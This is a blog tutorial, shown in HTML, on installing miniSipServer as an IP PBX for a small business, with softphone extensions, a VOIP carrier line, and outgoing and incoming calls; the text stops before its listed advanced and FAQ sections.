Setup IP PBX for small business step by step

7/06/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaLh3jvYX0Wqd8ytKsZEyR13D6yKftA0YAHBa5YrOhXLLNoRSjDvD9pkhLsqRITiq7i5XtNXhENcRoUCHErfAy07elEQ4rD9vt0AMVseBht5vujgBosFOulFSQE4w5zKlYf24htxxmqMU/s1600/pbx-for-small-office.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Setup IP PBX for small business step by step" border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaLh3jvYX0Wqd8ytKsZEyR13D6yKftA0YAHBa5YrOhXLLNoRSjDvD9pkhLsqRITiq7i5XtNXhENcRoUCHErfAy07elEQ4rD9vt0AMVseBht5vujgBosFOulFSQE4w5zKlYf24htxxmqMU/s1600/pbx-for-small-office.png" title="Step by step guide to setup IP PBX for small office" width="400" /></a></div>
<h1 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif;">
<span style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px;"><br /></span></h1>
<h1 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif;">
<span style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px;">Index</span></h1>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="http:/#Instruction" style="color: #0080ff; font-weight: bold; text-decoration: none;">1. Instruction</a></span></div>
</li>
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">
<li><div style="line-height: 15px;">
<a href="http:/#What_VOIP" style="color: #0080ff; font-weight: bold; text-decoration: none;">2. What's VOIP?</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#ip_pbx" style="color: #0080ff; font-weight: bold; text-decoration: none;">2.1 IP-PBX</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/index.html#phones" style="color: #0080ff; font-weight: bold; text-decoration: none;">2.2 Phones</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#voip_carriers" style="color: #0080ff; font-weight: bold; text-decoration: none;">2.3 VOIP carriers</a></div>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Scenario" style="color: #0080ff; font-weight: bold; text-decoration: none;">3. Scenario</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;">4. Configuration</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#step1" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.1 Step1: setup miniSipServer</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#step2" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.2 Step2: connect local users to miniSipServer</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#step2_1" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.2.1 Add a new extension in miniSipServer</a></div>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#step3" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.3 Step 3: connect miniSipServer to VOIP provider</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#Make_outgoing_call" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.3.1 Make outgoing call</a></div>
</li>
<li>  <div style="line-height: 15px;">
<a href="http:/#Receive_incoming_call" style="color: #0080ff; font-weight: bold; text-decoration: none;">4.3.2 Receive incoming call</a></div>
</li>
</ul>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Advance_configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;">5. Advance configuration</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#voice_mail" style="color: #0080ff; font-weight: bold; text-decoration: none;">5.1 Voice mail</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#Ringing_group" style="color: #0080ff; font-weight: bold; text-decoration: none;">5.2 Ringing group</a></div>
</li>
</ul>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#faq" style="color: #0080ff; font-weight: bold; text-decoration: none;">6. FAQ</a></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<a href="http:/#faq_sip_port" style="color: #0080ff; font-weight: bold; text-decoration: none;">6.1 How to change SIP port?</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http:/#faq_stun" style="color: #0080ff; font-weight: bold; text-decoration: none;">6.2 one-way audio or no-way audio problem?</a></div>
</li>
</ul>
</li>
</span></ul>
<div style="line-height: 15px;">
</div>
<div style="border-top: 1px dashed rgb(0, 0, 0);">
</div>
<div style="line-height: 15px;">
</div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Instruction" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>1. Instruction</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">More and more peoples start small business now, such as home based business. It is very important to keep communication with our customers. In normal, most of us just use a simple telephone or use skype to do that. It can just fit our basic requirement, but it has obvious shortage, for example, it makes our business looks like a very small business, a personal business. We hope to make our business looks like a big business and our company looks like a professional company. We want to establish a voice interaction for our customers, such as prompt "welcome to xxx company. Please dial the extension or zero for assistance", etc. Can we do that?</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Of course, we can do that! There is a very simple solution to do that using VOIP. This document will give a step by step guide on how to establish a VOIP network for our business. The solution will be as simple as possible, almost just need only one PC with Windows system.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="What_VOIP" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2. What's VOIP?</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">VOIP is "Voice over Internet Protocol". It is a general term for a family of transmission technologies for delivery of voice communications over IP networks such as the Internet or other packet-switched networks. VOIP can be a benefit for reducing communication and infrastructure costs.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In another way, it is very easy to use VOIP to establish our communication system with rich features.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In normal, we need to setup three main components: IP-PBX, phones (or soft-phones) and VOIP carriers' service that let you call other peoples on the PSTN (Public Switched Telephone Network, it is our traditional telephone network).</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="ip_pbx" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2.1 IP-PBX</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">There are lots of IP-PBX. Some of them are hardware based devices, some of them are software based server.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">I suggest miniSipServer. miniSipServer is a professional SIP PBX for Windows system. It has all features we need. Most important, it is so easy that we can setup and run it in 10 minutes!</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In another way, if you are familiar with Linux system, I suggest to try Asterisk. It is complex and powerful.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="phones" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2.2 Phones</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We can buy SIP phones from Grandstream, Cisco, Linksys, etc. If we still want to use our traditional analog telephone, we can buy a SIP adapter from them.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">To get started, we use a softphone and run it in the same computer or another computers. I suggest to try Xlite softphone.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="voip_carriers" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>2.3 VOIP carriers</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Lots of VOIP carriers can provide SIP services. I suggest following VOIP providers:</span></div>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="http://www.sipgate.co.uk/" style="color: #0080ff; font-weight: bold; text-decoration: none;">Sipgate.</a></span></div>
</li>
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">
<li><div style="line-height: 15px;">
<a href="http://www.voicetrading.com/" style="color: #0080ff; font-weight: bold; text-decoration: none;">VoiceTrading.</a></div>
</li>
<li><div style="line-height: 15px;">
<a href="http://www.broadvoice.com/" style="color: #0080ff; font-weight: bold; text-decoration: none;">BroadVoice.</a></div>
</li>
</span></ul>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Once register to these VOIP providers, they will give you a SIP account information, such as SIP server address, account name and password, etc. These information will be used when we configure our IP-PBX.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Scenario" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>3. Scenario</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Following figure describes a simple environment for small business or home based business.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network" name="network" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In our demo scenario, the small company only has two member, Holly and G.T.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Holly's extension number is 100, and G.T's extension phone number is 101. Both of them have PCs based on windows system. The IP address of Holly's PC is 192.168.1.100. The IP address of G.T's PC is 192.168.1.101. miniSipServer will be installed on another PC whose IP address is 192.168.1.110.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The company establish connection with PSTN through a VOIP carrier's network.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We will follow subsequent steps to establish our VOIP network.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 1</b>: Setup miniSipServer. Following figure describe it.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network (step1)" name="step1" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 2</b>: Connect local users to miniSipServer.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network (step2)" name="step2" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__3.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 3</b>: Connect miniSipServer to VOIP providers' network.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="network" name="network" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/3__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><b>Step 4</b>: Configure some wonderful advance services for our small company, such as auto-attendant, ring group and pick-up.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4. Configuration</span></h2>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step1" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.1 Step1: setup miniSipServer</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">This step could be the easiest one in our configuration. We can download the miniSipServer SETUP file from<a href="http://www.myvoipapp.com/download" style="color: #0080ff; font-weight: bold; text-decoration: none;">http://www.myvoipapp.com/download</a>. The latest version is 2.5.4 now.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">There are several kinds of miniSipServer, such as 20 client, 50 clients etc. For example, "100 clients" version can support 100 extensions. Since there are only two members in our scenario, "20 clients" version is enough.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Before we install miniSipServer, please make sure that the PC based on Windows and network are work well firstly.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After that, please click the .EXE file to setup miniSipServer and run it! It is unnecessary to configure anything! So easy!</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">If everything is fine, the miniSipServer should run as following figure.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="MSS main window" name="MSS main window" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_1__1.jpg" /></span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step2" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.2 Step2: connect local users to miniSipServer</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">When miniSipServer is installed, it will create three default extensions automatically. Please click button "local users" in main window to check it. The default password for these extensions are also 100, 101 and 102.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="local user window" name="local user window" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We begin to configure Holly's softphone to connect miniSipServer.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Holly use Xlite 4 as her softphone. The Xlite4 is a wonderful SIP client and can be download from<a href="http://www.counterpath.net/x-lite.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">http://www.counterpath.net/x-lite.html</a>.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After install Xlite, please click menu "Softphone -> Account settings".</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="xlite account configuration" name="xlite account" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the pop-up window, please add a SIP account like following figure.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="xlite account property" name="xlite account property" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__3.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The key configurations are described as:</span></div>
<table border="1" cellpadding="4" cellspacing="0" rules="NONE" style="width: 524px;"><tbody>
<tr valign="TOP"><td><div style="line-height: 15px;">
User ID</div>
</td> <td><div style="line-height: 15px;">
100</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Domain</div>
</td><td><div style="line-height: 15px;">
192.168.1.110</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Password</div>
</td><td><div style="line-height: 15px;">
100</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Authorization name</div>
</td><td><div style="line-height: 15px;">
100</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Register with domain and receive call</div>
</td><td><div style="line-height: 15px;">
Yes</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Send outbound via</div>
</td><td><div style="line-height: 15px;">
domain</div>
</td></tr>
</tbody></table>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Please click 'OK' button to complete the Xlite configuration. Xlite will try to register to miniSipServer. If it successes, it should display 'Available' information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="xlite ready" name="xlite ready" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__4.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Now, Holly's extension has connected to miniSipServer rightly. We can follow the same step to configure G.T' extension. If you have other kinds of SIP clients/phones, they should also be configured same information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Both Holly and G.T' extensions have been connected to miniSipServer. We can show miniSipServer' local user information to check their status. Their icons should be blue.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="local users ready" name="local users ready" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2__5.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After we finish this step, the basic VOIP network is established. Holly and G.T can call each other. Holly can dial '101' to call G.T, and G.T can also dial '100' to call Holly.</span></div>
<h4 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step2_1" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.2.1 Add a new extension in miniSipServer</span></h4>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In above configuration, we use the default extensions '100' and '101'. In future, with the growth of company, more and more people will join with us, we need add more extensions to support them. So we can do as following:</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the 'local users information' window, please click 'Add' button to add a new extension.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="add a new local user" name="4_2_1__1" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2_1__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="new local user configuration" name="4_2_1__2" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_2_1__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In normal, we can just assign extension number and password to a new extension. The new employee can use this new account information to configure his/her Xlite or SIP phones.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="step3" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.3 Step 3: connect miniSipServer to VOIP provider</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">It is so easy to establish internal VOIP network and Holly and G.T enjoy it. It is time to establish connection with customers now.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In normal, if we want to make call to outside or receive a call from outside, we need a VOIP gateway connect our miniSipServer and traditional telephone or we need VOIP provider to do it for us. We decide to connect our miniSipServer to VOIP providers' network and we select <a href="http://www.broadvoice.com/" style="color: #0080ff; font-weight: bold; text-decoration: none;">BroadVoice</a> as our VOIP provider.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After we request a SIP account from BroadVoice, for example, the account is '723123456', we will use use this account to configure miniSipServer to connect BroadVoice.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the miniSipServer main window, please click button 'External lines' to add an external line information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="external lines" name="4_3__1" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_3__1.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the pop up window, please click button 'Add' to add an external line with BroadVoice account information.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="external line configuraton" name="4_3__2" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/4_3__2.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The key informations are described as below table. Of course, you can update it according to your own configuration.</span></div>
<table border="1" cellpadding="4" cellspacing="0" rules="NONE" style="width: 524px;"><tbody>
<tr valign="TOP"><td><div style="line-height: 15px;">
External line</div>
</td><td><div style="line-height: 15px;">
7321234567</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Password</div>
</td><td><div style="line-height: 15px;">
1234</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Peer server address</div>
</td><td><div style="line-height: 15px;">
<a href="http://sip.broadvoice.com/">sip.broadvoice.com</a></div>
</td></tr>
<tr valign="TOP">  <td><div style="line-height: 15px;">
Peer server port</div>
</td><td><div style="line-height: 15px;">
5060</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Share outgoing call with other local users</div>
</td><td><div style="line-height: 15px;">
Yes</div>
</td></tr>
<tr valign="TOP"><td><div style="line-height: 15px;">
Auto attendant</div>
</td><td><div style="line-height: 15px;">
Yes</div>
</td></tr>
</tbody></table>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Because we hope both Holly and G.T can make outgoing call, we select 'share outgoing call with other local users'.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Here we configure 'auto attendant' to support receiving incoming call from outside.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">If the external line success to connect to peer server ( VOIP provider's network or VOIP gateway), the icon of the external line should be gray and without cross flag.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Then, we describe some details about making outgoing call and receiving incoming call.</span></div>
<h4 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Make_outgoing_call" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.3.1 Make outgoing call</span></h4>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">As we have confirmed in above sections, Holly and G.T can call each other by dialing their extensions number directly. If we want to make outgoing call to our customers, how can we do it?</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Since the external line is connected to VOIP provider's network ( or VOIP gateway), it is no problem to call outside customers, but we have to mention that we need add prefix '9' before we dial our customers numbers. In miniSipServer, prefix '9' is the default outgoing prefix which is used to distinguish call type. For example, if the customer's number is '7321234568', we need dial '<b>9</b>7321234568'.</span></div>
<h4 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Receive_incoming_call" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>4.3.2 Receive incoming call</span></h4>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">When we configured external line before, we has indicated 'auto attendant' at the same time. So when the customer calls in, miniSipServer will prompt him/her to enter extension number. For example, once the customer calls "7321234567" ( the external line number provided by VOIP provider and configured in miniSipServer ), he/she will hear "Welcome, please enter extension number" and the customer can enter '100' to call Holly or enter '101' to call G.T.</span></div>
<div style="line-height: 15px;">
